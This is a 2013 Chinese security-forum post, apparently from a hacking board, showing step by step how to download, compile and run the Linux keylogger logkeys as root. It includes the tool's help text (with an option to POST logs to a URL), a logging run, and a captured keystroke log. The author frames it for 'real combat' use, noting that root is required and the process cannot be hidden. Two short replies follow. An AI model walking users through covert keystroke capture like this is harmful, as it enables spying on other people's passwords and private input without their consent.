切换风格

Wizard Sky California Sunset glow Black Cloud Beige Dragon Lavender NewYear City Snow Flowers London
收藏本站XSS平台字符串转换jsfuck
388 linux键盘记录 logkeys[复制链接]
发表于 2013-1-9 00:30:23 | 显示全部楼层 |!read_mode!
HOME http://code.google.com/p/logkeys/
编译只能在UBUNTU 下 打开UBUNTU 1


  1. root@Dis9Team:/tmp# wget http://logkeys.googlecode.com/files/logkeys-0.1.1a.tar.gz
  2. root@Dis9Team:/tmp# tar xf logkeys-0.1.1a.tar.gz
  3. root@Dis9Team:/tmp# cd logkeys-0.1.1a
  4. root@Dis9Team:/tmp/logkeys-0.1.1a# ./configure
  5. root@Dis9Team:/tmp/logkeys-0.1.1a# make
  6. root@Dis9Team:/tmp/logkeys-0.1.1a# make install
复制代码
运行


  1. root@Dis9Team:/tmp/logkeys-0.1.1a/src# ./logkeys
  2. Usage: logkeys [OPTION]...
  3. Log depressed keyboard keys.

  4.   -s, --start               start logging keypresses
  5.   -m, --keymap=FILE         use keymap FILE
  6.   -o, --output=FILE         log output to FILE [/var/log/logkeys.log]
  7.   -u, --us-keymap           use en_US keymap instead of configured default
  8.   -k, --kill                kill running logkeys process
  9.   -d, --device=FILE         input event device [eventX from /dev/input/]
  10.   -?, --help                print this help screen
  11.       --export-keymap=FILE  export configured keymap to FILE and exit
  12.       --no-func-keys        log only character keys
  13.       --no-timestamps       don't prepend timestamps to log file lines
  14.       --post-http=URL       POST log to URL as multipart/form-data file
  15.       --post-size=SIZE      post log file when size equals SIZE [500k]

  16. Examples: logkeys -s -m mylang.map -o ~/.secret-keys.log
  17.           logkeys -s -d event6
  18.           logkeys -k

  19. logkeys version: 0.1.1a
  20. logkeys homepage: <http://code.google.com/p/logkeys/>
  21. root@Dis9Team:/tmp/logkeys-0.1.1a/src#
复制代码


记录键盘操作


  1. root@Dis9Team:/tmp/logkeys-0.1.1a/src# ./logkeys -s -u -o log.txt
  2. root@Dis9Team:/tmp/logkeys-0.1.1a/src# ps -ef | grep logkeys
  3. root      5101     1  0 04:03 ?        00:00:00 ./logkeys -s -u -o log.txt
  4. root      5105  2752  0 04:03 pts/0    00:00:00 grep --color=auto logkeys
  5. root@Dis9Team:/tmp/logkeys-0.1.1a/src#
复制代码


进程不能隐藏 实战中必须用ROOT


  1. root@Dis9Team:/tmp/logkeys-0.1.1a/src# cat log.txt
  2. Logging started ...

  3. 2013-01-07 04:03:23-0800 > <LCtrl>c
  4. 2013-01-07 04:03:26-0800 > <LShft><LCtrl>c
  5. 2013-01-07 04:03:26-0800 > ps -ef <LShft>| grep logket<BckSp>ys
  6. 2013-01-07 04:03:36-0800 > cat lo<Tab><KP.><Tab>
  7. 2013-01-07 04:04:04-0800 > <LCtrl>l<Up>root@Dis9Team:/tmp/logkeys-0.1.1a/src#
复制代码


关于发送http://yongsheng0550.blog.163.co ... 841052011329208797/



操千曲而后晓声,观千剑而后识器。
发表于 2014-8-16 12:24:11 | 显示全部楼层
看看了 嘿嘿
发表于 2015-4-6 14:25:19 | 显示全部楼层
我不做酱油党

代码区

GMT+8, 2019-11-17 08:58

Powered by Discuz! X2

© 2001-2018 Comsenz Inc.

回顶部